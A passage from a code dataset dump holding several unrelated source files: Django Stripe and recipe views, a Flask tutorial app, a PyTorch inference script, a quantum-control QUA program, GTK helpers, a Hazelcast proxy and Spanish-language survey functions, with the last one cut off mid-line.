stripe\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\n# Create your views here.\n@login_required\ndef Checkout(request):\n publishableKey = settings.STRIPE_PUBLISHABLE_KEY\n customerID = request.user.userstripe.StripeID\n if request.method == \"POST\":\n # Token is created using Stripe.js or Checkout!\n # Get the payment token submitted by the form:\n token = request.POST['stripeToken']\n try:\n customer = stripe.Customer.retrieve(customerID)\n customer.sources.create(source=token)\n # Charge the user's card:\n charge = stripe.Charge.create(\n amount=1000,\n currency=\"gbp\",\n description=\"Example charge\",\n customer=customer,\n )\n except stripe.error.CardError as e:\n #Card has been declined\n pass\n context = {\"publishableKey\": publishableKey}\n template = \"checkout.html\"\n return render(request, template, context)","sub_path":"Website/src/checkout/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"122859380","text":"from datetime import datetime\nfrom flask import Flask, render_template,session,redirect,url_for,flash\nfrom flask_script import Manager,Server,Shell\nfrom flask_bootstrap import Bootstrap\nfrom flask_moment import Moment\nfrom flask.ext.wtf import Form\nfrom wtforms import StringField,SubmitField\nfrom wtforms.validators import Required\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask.ext.migrate import Migrate,MigrateCommand\nfrom flask_mail import Mail,Message\nfrom threading import Thread \nimport os\n\n#get current file path\nbasedir = os.path.abspath(os.path.dirname(__file__)) \n\napp = Flask(__name__) #building a entity \napp.config['SECRET_KEY'] = 'hard to guess string'\napp.config['SQLALCHEMY_DATABASE_URI'] =\\\n\t'sqlite:///' + os.path.join(basedir, 'data.sqlite')\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n#config mail \napp.config['MAIL_SERVER'] = 'smtp.qq.com'\napp.config['MAIL_PORT'] = 587\napp.config['MAIL_USE_TLS'] = True\napp.config['MAIL_USERNAME'] = os.environ.get('MAIL_USERNAME')\napp.config['MAIL_PASSWORD'] = os.environ.get('MAIL_PASSWORD')\napp.config['FLASKY_MAIL_SUBJECT_PREFIX'] = '[Flasky]' #subject(主题)\napp.config['FLASKY_MAIL_SENDER'] = '35223644@qq.com' #send mail \napp.config['FLASKY_ADMIN'] = os.environ.get('FLASKY_ADMIN')#recipient mail\n\ndb = SQLAlchemy(app)\n\nmanager = Manager(app)\nbootstrap = Bootstrap(app)\nmoment = Moment(app)\nmail = Mail(app)\n#open debug moddle!\nmanager.add_command(\"runserver\", Server(use_debugger=True))\n#config db migration\nmigrate = Migrate(app,db)\nmanager.add_command('db',MigrateCommand)\n#let shell auto load db/app/modul ......\ndef make_shell_context():\n\treturn dict(app=app,db=db,User=User,Role=Role)\nmanager.add_command('shell',Shell(make_context=make_shell_context))\n##def mail \ndef send_async_email(app,msg):\n\twith app.app_context(): #manul create app's context\n\t\tmail.send(msg)\n\ndef send_email(to, subject, template, **kwargs):\n msg = Message(app.config['FLASKY_MAIL_SUBJECT_PREFIX'] + ' ' + subject,\n sender=app.config['FLASKY_MAIL_SENDER'], recipients=[to])\n msg.body = render_template(template + '.txt', **kwargs)\n msg.html = render_template(template + '.html', **kwargs)\n thr = Thread(target=send_async_email,args=[app,msg])\n thr.start()\n return thr\n\nclass NameForm(Form):## Inherit flask.ext.wtf class\n\tname = StringField('what is your name?',validators = [Required()])\n\tsubmit = SubmitField('Submit')\n\nclass Role(db.Model):\n\t__tablename__ = 'roles'\n\tid = db.Column(db.Integer,primary_key = True)\n\tname = db.Column(db.String(64),unique = True)\n\n\tdef __repr__(self):\n\t\treturn '' % self.name\n\nclass User(db.Model):\n\t__tablename__ = 'Users'\n\tid = db.Column(db.Integer,primary_key = True)\n\tusername = db.Column(db.String(64),unique = True, index = True)\n\trole = db.Column(db.String(64),nullable = True)\n\n\tdef __repr__(self): \n\t\treturn '' % self.username\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n return render_template('500.html'), 500\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n # # name = None\n # form = NameForm()\n # #get argument values\n # flash(app.config['MAIL_USERNAME'])\n # if form.validate_on_submit():\n # \tuser = User.query.filter_by(username=form.name.data).first()\n # \tif user is None:\n # \t\tuser = User(username = form.name.data)\n # \t\tdb.session.add(user)\n # \t\tsession['known'] = False\n # \telse:\n # \t\tsession['known'] = True\n # \tsession['name'] = form.name.data\n # \tform.name.data = ''\n # \treturn redirect(url_for('index'))\n # # return render_template\t\t\n # # \told_name = session.get('name')\n # # \tif old_name is not None and old_name != form.name.data:\n # # \t\tflash('您似乎用了一个新名字!!')\n # # \tsession['name'] = form.name.data\n # # # form.name.data = ''\n # # \treturn redirect(url_for('index'))##keep the value on sesson ,redirct resolve refresh problem\n # return render_template('index.html', current_time = datetime.utcnow(),form=form, name=session.get('name'),known = session.get('known',False))\n\n\n form = NameForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.name.data).first()\n if user is None:\n user = User(username=form.name.data)\n db.session.add(user)\n session['known'] = False\n if app.config['FLASKY_ADMIN']:\n send_email(app.config['FLASKY_ADMIN'], '有新用户注册!',\n 'mail/new_user', user=user)\n else:\n session['known'] = True\n session['name'] = form.name.data\n return redirect(url_for('index'))\n return render_template('index.html', current_time = datetime.utcnow(),form=form, name=session.get('name'),\n known=session.get('known', False))\n\n \n@app.route('/user/')\ndef user(name):\n return render_template('user.html', name=name)\n\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":5106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"528747639","text":"# https://github.com/selimsef/dfdc_deepfake_challenge/blob/master/training/pipelines/train_classifier.py\nimport argparse\nimport json\nimport os\nimport pickle\nimport sys\nimport gc\nimport itertools\nfrom collections import defaultdict, OrderedDict\nimport platform\nimport glob\nPATH = '/Users/dhanley/Documents/rsnastr' \\\n if platform.system() == 'Darwin' else '/mount'\nos.chdir(PATH)\nsys.path.append(PATH)\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nfrom sklearn.metrics import log_loss\nfrom utils.logs import get_logger\n#from utils.swa_utils import swa\nfrom utils.utils import RSNAWEIGHTS\nfrom training.tools.config import load_config\nimport pandas as pd\nimport cv2\nfrom utils.swa_utils import swa\n\nimport torch\nfrom torch.backends import cudnn\nfrom torch.nn import DataParallel\nfrom torch.utils.data import DataLoader\n\nfrom tqdm import tqdm\nfrom training.datasets.classifier_dataset import RSNAClassifierDataset, \\\n nSampler, valSeedSampler, collatefn\nfrom training.zoo import classifiers\nfrom training.zoo.sequence import StudyImgNet\nfrom training.zoo.classifiers import swa_update_bn, validate\n\nos.environ[\"MKL_NUM_THREADS\"] = \"1\"\nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"1\"\nos.environ[\"OMP_NUM_THREADS\"] = \"1\"\n\ncv2.ocl.setUseOpenCL(False)\ncv2.setNumThreads(0)\nimport numpy as np\nimport albumentations as A\nfrom albumentations.pytorch import ToTensor\nlogger = get_logger('Train', 'INFO') \n\nlogger.info('Load args')\nparser = argparse.ArgumentParser(\"PyTorch Xview Pipeline\")\narg = parser.add_argument\narg('--config', metavar='CONFIG_FILE', help='path to configuration file')\narg('--workers', type=int, default=6, help='number of cpu threads to use')\narg('--type', type=str, default='image', help='Image model of study model')\narg(\"--seed\", default=777, type=int)\narg('--device', type=str, default='cpu' if platform.system() == 'Darwin' else 'cuda', help='device for model - cpu/gpu')\narg('--gpu', type=str, default='0', help='List of GPUs for parallel training, e.g. 0,1,2,3')\narg('--output-dir', type=str, default='weights/')\narg('--weightsrgx', type=str, default='classifier_RSNAClassifier_resnext101_32x8d_0__fold0_epoch2*')\narg('--epochs', type=str, default='21|22|23')\narg('--fold', type=int, default=0)\narg('--runswa', default=False, type=lambda x: (str(x).lower() == 'true'))\narg('--infer', default=False, type=lambda x: (str(x).lower() == 'true'))\narg('--emb', default=False, type=lambda x: (str(x).lower() == 'true'))\narg('--batchsize', type=int, default=4)\narg('--concatsteps', type=int, default=32)\narg('--labeltype', type=str, default='all') \narg('--prefix', type=str, default='classifier_')\narg('--data-dir', type=str, default=\"data\")\narg('--folds-csv', type=str, default='folds.csv.gz')\narg('--crops-dir', type=str, default='jpegip')\nargs = parser.parse_args()\n\nlogger.info(args)\nHFLIP = False\nTRANSPOSE = False\n\nif False:\n args.config = 'configs/rnxt101_binary.json'\nconf = load_config(args.config)\n\n# Try using imagenet means\ndef create_val_transforms(size=300, HFLIPVAL = 1.0, TRANSPOSEVAL = 1.0):\n return A.Compose([\n A.Normalize(mean=conf['normalize']['mean'], \n std=conf['normalize']['std'], max_pixel_value=255.0, p=1.0),\n ToTensor()\n ])\n\nlogger.info('Create valdatasets')\nvaldataset = RSNAClassifierDataset(mode=\"valid\",\n fold=args.fold,\n crops_dir=args.crops_dir,\n imgclasses=conf[\"image_target_cols\"],\n studyclasses=conf['exam_target_cols'],\n imgsize = conf['size'],\n data_path=args.data_dir,\n folds_csv=args.folds_csv,\n transforms=create_val_transforms(conf['size']))\nalldataset = RSNAClassifierDataset(mode=\"all\",\n fold=args.fold,\n imgsize = conf['size'],\n crops_dir=args.crops_dir,\n imgclasses=conf[\"image_target_cols\"],\n studyclasses=conf['exam_target_cols'],\n data_path=args.data_dir,\n label_smoothing=0.00,\n folds_csv=args.folds_csv,\n transforms=create_val_transforms(conf['size']))\nvalsampler = valSeedSampler(valdataset.data, N = 5000, seed = args.seed)\nlogger.info(50*'-')\nlogger.info(valdataset.data.loc[valsampler.sampler]['pe_present_on_image'].value_counts())\nloaderargs = {'num_workers' : 16, 'pin_memory': False, 'drop_last': False, 'collate_fn' : collatefn}\nvalloader = DataLoader(valdataset, batch_size=args.batchsize, sampler = valsampler, **loaderargs)\nallloader = DataLoader(alldataset, batch_size=args.batchsize, shuffle=False, **loaderargs)\n\nweightfiles = glob.glob(f'{args.output_dir}/{args.weightsrgx}')\nepochs = list(map(lambda x: f'_epoch{x}', args.epochs.split('|')))\n#weightfiles = [w for w in weightfiles if any(e in w for e in epochs)]\nlogger.info(f'Weights to process: {weightfiles}')\n\nif args.emb:\n for f in weightfiles:\n logger.info(f'Infer {f}')\n if args.type=='image':\n nclasses = len(conf['image_target_cols']) + len(conf['exam_target_cols'] )\n model = classifiers.__dict__[conf['network']](encoder=conf['encoder'], \\\n nclasses = nclasses,\n infer=True)\n checkpoint = torch.load(f, map_location=torch.device(args.device))\n model.load_state_dict(checkpoint['state_dict'])\n if args.type=='study':\n nc = len(conf['image_target_cols']+conf['exam_target_cols'])\n model =StudyImgNet(conf['encoder'], \n dropout = 0.0,\n nclasses = nc,\n dense_units = 512)\n checkpoint = torch.load(f, map_location=torch.device(args.device))\n model.load_state_dict(checkpoint)\n model = model.encoder\n model = model.half().to(args.device)\n model = model.eval()\n logger.info(f'Embeddings total : {len(allloader)}')\n pbar = tqdm(enumerate(allloader), total=len(allloader), desc=\"Weights {}\".format(f), ncols=0)\n embls = []\n img_names = []\n with torch.no_grad():\n for i, sample in pbar:\n img_names += sample['img_name']\n imgs = sample[\"image\"].half().to(args.device)\n emb = model(imgs)\n embls.append(emb.detach().cpu().numpy().astype(np.float32))\n outemb = np.concatenate(embls)\n logger.info('Write embeddings : shape {} {}'.format(*outemb.shape))\n fembname = f'{f}__all_size{conf[\"size\"]}.emb'\n #fembname = 'emb/'+fembname.replace(args.output_dir, '')\n logger.info('Embedding file name : {}'.format(fembname))\n np.savez_compressed(os.path.join('emb', fembname), outemb)\n valdataset.data.to_pickle( f'emb/{fembname}.data.pk' )\n with open(f'emb/{fembname}.imgnames.pk', 'wb') as handle:\n pickle.dump(img_names, handle, protocol=pickle.HIGHEST_PROTOCOL)\n gc.collect()\n","sub_path":"training/pipeline/infer_image_classifier.py","file_name":"infer_image_classifier.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"604913736","text":"\"\"\"\r\northogonal-qubit-control.py:\r\nAuthor: Gal Winer - Quantum Machines\r\nCreated: 22/02/2021\r\nCreated on QUA version: 0.8.439\r\n\"\"\"\r\n\r\n# Importing the necessary from qm\r\nfrom qm.QuantumMachinesManager import QuantumMachinesManager\r\nfrom qm.qua import *\r\nfrom qm import SimulationConfig\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport time\r\nfrom configuration import *\r\n\r\n\r\nN_max = 3\r\nt_max = int(660 / 4)\r\ndt = 1\r\n\r\ntheta_max_2pi = 1\r\ndtheta = 0.1\r\nN_t = t_max // dt\r\nf_max = 200e6\r\nf_min = 100e6\r\ndf = 1e6\r\nN_f = int((f_max - f_min) / df)\r\nt_min = 16\r\n\r\nqmManager = QuantumMachinesManager()\r\nQM = qmManager.open_qm(\r\n config\r\n) # Generate a Quantum Machine based on the configuration described above\r\n\r\nwith program() as bias_current_sweeping: #\r\n I = declare(fixed) # QUA variables declaration\r\n Q = declare(fixed)\r\n state = declare(bool)\r\n th = declare(\r\n fixed, value=2.0\r\n ) # Threshold assumed to have been calibrated by state discrimination exp\r\n t = declare(int)\r\n f = declare(int)\r\n Nrep = declare(int) # Variable looping for repetitions of experiments\r\n theta = declare(fixed, value=1)\r\n f_stream = declare_stream()\r\n state_stream = declare_stream()\r\n t_stream = declare_stream()\r\n I_stream = declare_stream()\r\n Q_stream = declare_stream()\r\n update_frequency(\"SFQ_trigger\", int(100e6))\r\n\r\n with for_(Nrep, 0, Nrep < N_max, Nrep + 1):\r\n with for_(theta, 0, theta <= 1, theta + dtheta):\r\n frame_rotation_2pi(theta, \"SFQ_trigger\")\r\n with for_(t, t_min, t < t_max, t + dt):\r\n play(\"pi2_pulse\", \"SFQ_bias\")\r\n play(\"pi2_pulse\", \"SFQ_trigger\") # π/2 pulse\r\n play(\"playOp\", \"SFQ_bias\", duration=t)\r\n play(\"const_pulse\", \"SFQ_trigger\", duration=t)\r\n play(\"pi2_pulse\", \"SFQ_bias\")\r\n play(\"pi2_pulse\", \"SFQ_trigger\") # π/2 pulse\r\n # wait(t+2*pi_pulse_len//4, \"RR\")\r\n align(\"RR\", \"SFQ_trigger\")\r\n measure(\"meas_pulse\", \"RR\", \"samples\", (\"integW1\", I), (\"integW2\", Q))\r\n assign(state, I > th)\r\n save(I, I_stream)\r\n save(Q, Q_stream)\r\n\r\n save(state, state_stream)\r\n save(t, t_stream)\r\n\r\n save(f, f_stream)\r\n with stream_processing():\r\n I_stream.save_all(\"I\")\r\n Q_stream.save_all(\"Q\")\r\n f_stream.buffer(N_f).save(\"f\")\r\n t_stream.buffer(N_t).save(\"t\")\r\n state_stream.boolean_to_int().buffer(N_f, N_t).average().save(\"state\")\r\n\r\njob = qmManager.simulate(config, bias_current_sweeping, SimulationConfig(int(1000)))\r\n\r\nsamples = job.get_simulated_samples()\r\nsamples.con1.plot()\r\n","sub_path":"examples/Papers/digital-control-SC/orthogonal-qubit-control.py","file_name":"orthogonal-qubit-control.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558175483","text":"# -*- Mode: Python; indent-tabs-mode: t; python-indent: 4; tab-width: 4 -*-\nimport os\nfrom gi.repository import Gtk, GdkPixbuf\n\nDIALOGS_PROFILE = dict(\n\tsave = (\n\t\t\"Save\", None, Gtk.FileChooserAction.SAVE,\n\t\t(Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_SAVE, Gtk.ResponseType.OK)\n\t),\n\tload = (\n\t\t\"Load\", None, Gtk.FileChooserAction.OPEN,\n\t\t(Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK)\n\t)\n)\n\n\nclass Poster:\n\t\"\"\"Create preview pixbut for amv poster\"\"\"\n\tdef __init__(self, gtkimage, gap=10, width_min=128, height_min=128):\n\t\tself.image = gtkimage\n\t\tself.gap = gap\n\t\tself.width_min = width_min\n\t\tself.height_min = height_min\n\t\tself.pixbuf = None\n\t\tself.size_update(width=1, height=1)\n\n\tdef set_image(self, file_):\n\t\t\"\"\"Set poster image\"\"\"\n\t\ttry:\n\t\t\tself.pixbuf = GdkPixbuf.Pixbuf.new_from_file(file_)\n\t\t\tself.pxz = {'width': self.pixbuf.get_width(), 'height': self.pixbuf.get_height()}\n\t\texcept Exception:\n\t\t\tself.pixbuf = None\n\n\t\tself.image_update()\n\n\tdef image_update(self):\n\t\t\"\"\"Update poster image\"\"\"\n\t\ttry:\n\t\t\t# dirty resize here\n\t\t\taspect = min((self.width - self.gap) / self.pxz['width'], (self.height - self.gap) / self.pxz['height'])\n\t\t\tself.image.set_from_pixbuf(self.pixbuf.scale_simple(\n\t\t\t\tself.pxz['width'] * aspect,\n\t\t\t\tself.pxz['height'] * aspect,\n\t\t\t\tGdkPixbuf.InterpType.BILINEAR\n\t\t\t))\n\t\texcept Exception:\n\t\t\tself.image.set_from_icon_name('image-missing', Gtk.IconSize.DIALOG)\n\n\tdef size_update(self, width=None, height=None):\n\t\t\"\"\"Update pixbuf size according widget\"\"\"\n\t\tif width is not None:\n\t\t\tself.width = max(width, self.width_min)\n\t\tif height is not None:\n\t\t\tself.height = max(height, self.height_min)\n\n\nclass FileChooser:\n\t\"\"\"File selection helper based on Gtk file dialog\"\"\"\n\tdef build_dialog_action(name):\n\t\tdef action(self):\n\t\t\tresponse = self.dialogs[name].run()\n\t\t\tfile_ = self.dialogs[name].get_filename()\n\n\t\t\tself.dialogs[name].hide()\n\t\t\tself.dialogs[name].set_current_folder(self.dialogs[name].get_current_folder())\n\n\t\t\treturn response == Gtk.ResponseType.OK, file_\n\t\treturn action\n\n\tdef __init__(self, start_folder=os.environ['HOME'], default_name=None):\n\t\tself.dialogs = dict()\n\t\tfor name, args in DIALOGS_PROFILE.items():\n\t\t\tself.dialogs[name] = Gtk.FileChooserDialog(*args)\n\t\t\tself.dialogs[name].set_current_folder(start_folder)\n\n\t\tif default_name is not None:\n\t\t\tself.dialogs['save'].set_current_name(default_name)\n\n\tload = build_dialog_action('load')\n\tsave = build_dialog_action('save')\n","sub_path":"anisoup/guisupport.py","file_name":"guisupport.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"53253518","text":"# Yu Zhou\n# 78. Subsets\n# Given a set of distinct integers, nums, return all possible subsets.\n# Note: The solution set must not contain duplicate subsets.\n\n# If nums = [1,2,3], a solution is:\n\n# [\n# [3],\n# [1],\n# [2],\n# [1,2,3],\n# [1,3],\n# [2,3],\n# [1,2],\n# []\n# ]\n\nclass Solution(object):\n def subsets(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n self.res = []\n def dfs(nums, temp, i):\n self.res.append(temp[:])\n for i in xrange(i, len(nums)):\n temp.append(nums[i])\n dfs(nums, temp, i + 1)\n temp.pop()\n dfs(nums, [], 0)\n return self.res\n","sub_path":"backtrack/Yu/78.py","file_name":"78.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"301420236","text":"from django.contrib.auth.decorators import login_required\nfrom django.forms.models import modelformset_factory # model form for queryset\nfrom django.http import HttpResponse, Http404\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.urls import reverse\nfrom .models import Recipe, RecipeIngredients\nfrom .forms import RecipeForm, RecipeIngredientsForm\n\n# CRUD -> Create Retrieve Update § Delete\n\n@login_required\ndef recipe_list_view(request, id=None):\n qs = Recipe.objects.filter(user=request.user)\n context = {\n \"object_list\": qs\n }\n return render(request, \"recipes/list.html\", context)\n\n\n@login_required\ndef recipe_detail_view(request, id=None):\n hx_url = reverse(\"recipes:hx-detail\", kwargs={\"id\": id})\n context = {\n \"hx_url\": hx_url\n }\n return render(request, \"recipes/detail.html\", context)\n\n@login_required\ndef recipe_delete_view(request, id=None):\n try: \n obj = Recipe.objects.get(id=id, user=request.user)\n except:\n obj = None\n if obj is None:\n if request.htmx:\n return HttpResponse(\"Not Found\")\n raise Http404\n if request.method == \"POST\": # post == like, are you sure u want to delete this.\n obj.delete()\n success_url = reverse('recipes:list')\n if request.htmx:\n headers = {\n \"HX-Redirect\": success_url,\n }\n return HttpResponse(\"Success\", headers=headers)\n return redirect(success_url)\n context = {\n \"object\": obj\n }\n return render(request, \"recipes/delete.html\", context)\n\n@login_required\ndef recipe_ingredient_delete_view(request, parent_id=None, id=None):\n try: \n obj = RecipeIngredients.objects.get(recipe__id=parent_id, id=id, recipe__user=request.user)\n except:\n obj = None\n if obj is None:\n if request.htmx:\n return HttpResponse(\"Not Found\")\n raise Http404\n if request.method == \"POST\": # post == like, are you sure u want to delete this.\n obj.delete()\n success_url = reverse('recipes:detail', kwargs={\"id\": parent_id})\n if request.htmx:\n return HttpResponse(\"Ingredient Removed\")\n return redirect(success_url)\n context = {\n \"object\": obj\n }\n return render(request, \"recipes/delete.html\", context)\n\n@login_required\ndef recipe_detail_hx_view(request, id=None):\n if not request.htmx:\n raise Http404\n try:\n obj = Recipe.objects.get(id=id, user=request.user)\n except: \n obj = None\n if obj is None:\n return HttpResponse(\"Not Found.\")\n context = {\n \"object\": obj\n }\n return render(request, \"recipes/partials/detail.html\", context)\n\n\n@login_required\ndef recipe_create_view(request):\n form = RecipeForm(request.POST or None)\n context = {\n \"form\": form,\n }\n if form.is_valid():\n obj = form.save(commit=False)\n obj.user = request.user\n obj.save()\n if request.htmx:\n headers = {\n \"HX-Redirect\": obj.get_absolute_url()\n }\n return HttpResponse(\"Created\", headers=headers)\n return redirect(obj.get_absolute_url())\n return render(request, \"recipes/create-update.html\", context)\n\n\n@login_required\ndef recipe_update_view(request, id=None):\n obj = get_object_or_404(Recipe, id=id, user=request.user)\n form = RecipeForm(request.POST or None, instance=obj)\n new_ingredient_url = reverse(\"recipes:hx-ingredient-create\", kwargs={\"parent_id\": obj.id})\n context = {\n \"form\": form,\n \"object\": obj,\n \"new_ingredient_url\": new_ingredient_url\n }\n\n if form.is_valid():\n form.save()\n context['message'] = 'Data saved!'\n \n if request.htmx:\n return render(request, \"recipes/partials/forms.html\", context)\n return render(request, \"recipes/create-update.html\", context)\n\n\n@login_required\ndef recipe_ingredient_update_hx_view(request, parent_id=None, id=None):\n if not request.htmx:\n raise Http404\n try:\n parent_obj = Recipe.objects.get(id=parent_id, user=request.user)\n except: \n parent_obj = None\n if parent_obj is None:\n return HttpResponse(\"Not Found.\")\n\n instance = None\n if id is not None:\n \n try:\n instance = RecipeIngredients.objects.get(recipe=parent_obj, id=id)\n except: \n instance = None\n form = RecipeIngredientsForm(request.POST or None, instance=instance)\n url = instance.get_hx_edit_url() if instance else reverse(\"recipes:hx-ingredient-create\", kwargs={\"parent_id\": parent_obj.id})\n context = {\n \"url\": url,\n \"form\": form,\n \"object\": instance\n }\n if form.is_valid():\n new_obj = form.save(commit=False)\n if instance is None:\n new_obj.recipe = parent_obj\n new_obj.save()\n context['object'] = new_obj\n return render(request, \"recipes/partials/ingredient-inline.html\", context)\n \n return render(request, \"recipes/partials/ingredient-form.html\", context)\n\n ","sub_path":"recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"330726612","text":"from hazelcast.protocol.codec import \\\n count_down_latch_await_codec, \\\n count_down_latch_count_down_codec, \\\n count_down_latch_get_count_codec, \\\n count_down_latch_try_set_count_codec\n\nfrom hazelcast.proxy.base import PartitionSpecificProxy\nfrom hazelcast.util import check_not_negative, to_millis\nfrom hazelcast import six\n\n\nclass CountDownLatch(PartitionSpecificProxy):\n \"\"\"\n CountDownLatch is a backed-up, distributed, cluster-wide synchronization aid that allows one or more threads to wait until a\n set of operations being performed in other threads completes\n \"\"\"\n if six.PY2:\n six.exec_(\"\"\"def await(self, timeout):\n return self.await_latch(timeout)\n \"\"\")\n\n def await_latch(self, timeout):\n \"\"\"\n Causes the current thread to wait until the latch has counted down to zero, or the specified waiting time\n elapses.\n\n If the current count is zero then this method returns immediately with the value ``true``.\n\n If the current count is greater than zero, then the current thread becomes disabled for thread scheduling\n purposes and lies dormant until one of following happens:\n\n * the count reaches zero due to invocations of the countDown() method,\n * this CountDownLatch instance is destroyed,\n * the countdown owner becomes disconnected,\n * some other thread interrupts the current thread, or\n * the specified waiting time elapses.\n\n If the count reaches zero, then the method returns with the value ``true``.\n\n :param timeout: (long), the maximum time in seconds to wait.\n :return: (bool), ``true`` if the count reached zero, ``false`` if the waiting time elapsed before the count reached zero.\n \"\"\"\n return self._encode_invoke(count_down_latch_await_codec, timeout=to_millis(timeout))\n\n def count_down(self):\n \"\"\"\n Decrements the count of the latch, releasing all waiting threads if the count reaches zero.\n\n If the current count is greater than zero, then it is decremented. If the new count is zero:\n * All waiting threads are re-enabled for thread scheduling purposes, and\n * Countdown owner is set to ``None``.\n\n If the current count equals zero, nothing happens.\n \"\"\"\n return self._encode_invoke(count_down_latch_count_down_codec)\n\n def get_count(self):\n \"\"\"\n Returns the current count\n\n :return: (int), the current count.\n \"\"\"\n return self._encode_invoke(count_down_latch_get_count_codec)\n\n def try_set_count(self, count):\n \"\"\"\n Sets the count to the given value if the current count is zero. If count is not zero, this method does nothing\n and returns ``false``.\n\n :param count: (int), the number of times count_down() must be invoked before threads can pass through await().\n :return: (bool), ``true`` if the new count was set, ``false`` if the current count is not zero.\n \"\"\"\n check_not_negative(count, \"count can't be negative\")\n return self._encode_invoke(count_down_latch_try_set_count_codec, count=count)\n\n","sub_path":"hazelcast/proxy/count_down_latch.py","file_name":"count_down_latch.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"227164341","text":"from app.models.encuesta import Encuesta\nfrom app.models.pregunta import Pregunta\nfrom app.models.actividad import Actividad\nfrom app.models.encuesta_pregunta import Encuesta_pregunta\nfrom app.models.horario_encuesta import Horario_encuesta\n\ndef crearCoEvaluacion(idActividad,listaPregunta):\n encuestaObjecto =Encuesta(\n tipo = 'COEVALUACION',\n nombre = 'Coevaluacion de la actividad '+str(idActividad),\n descripcion = 'SEGUNDO SERVICIO',\n flg_especial =0\n )\n idEncuesta = Encuesta().addOne(encuestaObjecto)\n listaIdPreguntas=[]\n for pregunta in listaPregunta:\n \n auxPreguntaObjecto = Pregunta(\n descripcion = pregunta['pregunta'],\n tipo_pregunta = 3\n )\n aux = Pregunta().addOne(auxPreguntaObjecto)\n listaIdPreguntas.append(aux)\n \n for idPregunta in listaIdPreguntas:\n Encuesta_preguntaObjecto = Encuesta_pregunta(\n id_encuesta = idEncuesta,\n id_pregunta = idPregunta\n ) \n Encuesta_pregunta().addOne(Encuesta_preguntaObjecto)\n idHorario = Actividad().getOne(idActividad).id_horario\n Horario_encuestaObjecto = Horario_encuesta(\n id_horario = idHorario,\n id_encuesta =idEncuesta,\n id_actividad = idActividad \n )\n Horario_encuesta().addOne(Horario_encuestaObjecto)\n return\n\ndef listarObjetosCoevaluacion(idActividad): \n listaEncuesta = Horario_encuesta().getAll(idActividad)\n idencuesta = 0\n for horario_encuesta in listaEncuesta:\n id = horario_encuesta.id_encuesta\n encuesta = Encuesta().getOne(id)\n if encuesta.tipo == 'COEVALUACION':\n idencuesta = encuesta.id_encuesta\n \n print(idencuesta)\n if idencuesta == 0:\n print('error')\n return\n\n encuesta = Encuesta().getOne(idencuesta)\n listaPregunta = []\n listaEP = []\n id = encuesta.id_encuesta\n listaEP=Encuesta_pregunta().getAll(id)#Lista de todos los objetos preguntas para esa pregunta\n for EncuestaPregunta in listaEP:\n idPregunta=EncuestaPregunta.id_pregunta\n pregunta=Pregunta().getOne(idPregunta)#sacarpreguntas\n d = {}\n d['pregunta'] = pregunta.descripcion\n listaPregunta.append(d)\n \n l={}\n\n l['listaPreguntas'] = listaPregunta \n return l\n\ndef editarCoEvaluacion(idActividad,listaPregunta):\n listaEncuesta = Horario_encuesta().getAll(idActividad)\n idencuesta = 0\n for horario_encuesta in listaEncuesta:\n id = horario_encuesta.id_encuesta\n encuesta = Encuesta().getOne(id)\n if encuesta.tipo == 'COEVALUACION':\n idencuesta = encuesta.id_encuesta\n \n \n if idencuesta==0:\n print('error')\n return\n\n listaEncuestaPregunta = Encuesta_pregunta().getAll(idencuesta)\n Encuesta_pregunta().eliminarFilas(idencuesta)\n for encuestapregunta in listaEncuestaPregunta:\n idpregunta = encuestapregunta.id_pregunta\n Pregunta().eliminarPregunta(idpregunta)\n \n listaIdPreguntas=[]\n for pregunta in listaPregunta:\n \n auxPreguntaObjecto = Pregunta(\n descripcion = pregunta['pregunta'],\n tipo_pregunta = 3\n )\n aux = Pregunta().addOne(auxPreguntaObjecto)\n listaIdPreguntas.append(aux)\n\n for idPregunta in listaIdPreguntas:\n Encuesta_preguntaObjecto = Encuesta_pregunta(\n id_encuesta = idencuesta,\n id_pregunta = idPregunta\n ) \n Encuesta_pregunta().addOne(Encuesta_preguntaObjecto)\n \n return\n\ndef eliminarCoEvaluacion(idActividad):\n listaEncuesta =Horario_encuesta().getAll(idActividad)\n idencuesta=0\n for horario_encuesta in listaEncuesta:\n id=horario_encuesta.id_encuesta\n encuesta=Encuesta().getOne(id)\n if encuesta.tipo == 'COEVALUACION':\n idencuesta=encuesta.id_encuesta\n \n if idencuesta == 0:\n print('error')\n return\n \n listaEncuestaPregunta = 